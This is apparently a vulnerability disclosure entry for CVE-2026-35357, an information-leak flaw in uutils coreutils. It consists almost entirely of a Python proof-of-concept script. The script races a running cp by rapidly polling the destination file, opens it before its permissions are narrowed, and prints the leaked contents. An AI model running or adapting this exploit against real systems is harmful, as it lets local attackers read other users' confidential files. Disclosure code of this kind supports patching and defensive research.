CVE-2026-35357 uutils coreutils信息泄露漏洞

import os import time # Simulating the race condition attack # This script attempts to open the destination file before permissions are tightened. def attacker_thread(dest_file): print("[+] Attacker thread started...") while True: try: # Attempt to open the file read-only # If umask is 0644, this might succeed before chmod to 0600 fd = os.open(dest_file, os.O_RDONLY) print(f"[+] Race won! File descriptor acquired: {fd}") # Read content data = os.read(fd, 1024) print(f"[+] Leaked data: {data.decode(errors='ignore')}") os.close(fd) break except (FileNotFoundError, PermissionError): # File not created yet or permissions already restricted time.sleep(0.0001) # High frequency polling continue if __name__ == "__main__": target = "/tmp/copy_of_secret" # In a real scenario, run this while `cp source target` is executing attacker_thread(target)